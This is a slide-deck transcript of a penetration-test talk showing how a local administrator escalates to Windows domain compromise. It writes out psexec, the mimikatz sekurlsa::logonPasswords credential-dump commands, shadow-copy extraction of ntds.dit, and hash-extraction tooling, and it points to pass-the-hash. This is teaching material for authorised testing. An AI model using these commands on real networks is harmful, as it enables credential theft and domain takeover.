Fall of a domain | From local admin to Domain user hashes
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The document summarizes how a local administrator on a system can escalate privileges to a domain administrator by dumping credentials from memory using Mimikatz and extracting password hashes from the Active Directory database files. Key steps include using Psexec to access another connected user's session, running Mimikatz to dump plaintext credentials from memory, taking snapshots of Active Directory database files to extract password hashes offline, and potentially cracking hashes or using pass-the-hash techniques to gain domain administrator access.
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Sistemas operacionais 8
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Fall of a domain | From local admin to Domain user hashes
- 1. The Fall of a Domain LOCAL ADMIN TO DOMAIN USER HASHES Riyaz Walikar
- 2. Disclaimer It was far more painstaking and complicated than this! Demo setup to show execution path All the commands were actually used in the pentest Please do not try this on your office/corporate environment without written permission
- 4. The story so far Remote RDP access to a machine on the client network via VPN Local Administrator rights to simulate an employee User is a limited domain user Domain controller on the same network, reachable with LDAP services running
- 6. Local Admin eh? Locally logged in as TARDISfwhite Domain limited user but local admin Other users connected? [Task Manager > Users] Found another user connected to our system via RDP –sweet! (possibly domain admin ) Need system privs! Any ideas?
- 7. Think Sysinternals! psexec –s –i cmd.exe
- 8. Dump connected user credentials mimikatz – Benjamin Delpy Extracts plaintext passwords from memory Wdigest, tspkg, kerberos and many more mimikatz privilege::debug token::elevate sekurlsa::logonPasswords
- 11. Remote CMD anyone? RDP directly! Lets be discreet psexec -s –u TARDISatomboy 10.10.10.1 cmd.exe Game already over! Instead RDP with user credentials and present report
- 13. Lets grab some hashes Active Directory stores user information in %systemroot%ntdsntds.dit Locked during system usage ntdsutil + snapshot = backup (> Windows 2008) vssadmin create shadow /for=C: (> Windows 2003)
- 14. Lets grab some hashes backup readable by nt authoritysystem and administrators We need the ntds.dit and SYSTEM files cd / dir /other inbuilt cmd commands do not work on unmounted volume shadow copies copy works!
- 16. NTDS.dit structure parse? NTDSXtract - A framework for offline forensic analysis of ntds.dit Need the libesedb module as well libesedb and creddump in ntds_dump_hashes.zip wget to a linux box (Kali is a good choice)
- 17. get framework + compile + make + run wget http://ntdsxtract.com/downloads/ntdsxtract/ntdsxt ract_v1_0.zip wget http://ntdsxtract.com/downloads/ntds_dump_hash .zip unzip both
- 18. get framework + compile + make + run cd ntds_dump_hash/libesedb ./configure && make cd libesedb/esedbtools ./esedbexport -l /tmp/ntds.log <ntds.dit>
- 19. Yay! python ../../ntdsxtract/dsusers.py datatable link_table --passwordhashes <system_file> – passwordhistory <system_file> Cleanup the output with ntdstopwdump.py (https://raw.github.com/inquisb/miscellaneous/mas ter/ntdstopwdump.py)
- 21. Pass the hash / Password Cracking! Use the Windows Credentials Editor – Amplia Security Password Cracking >> Humla perhaps
- 22. References http://blog.gentilkiwi.com/mimikatz http://www.ampliasecurity.com/research/wcefaq.ht ml http://bernardodamele.blogspot.in/2011/12/dumpwindows-password-hashes_16.html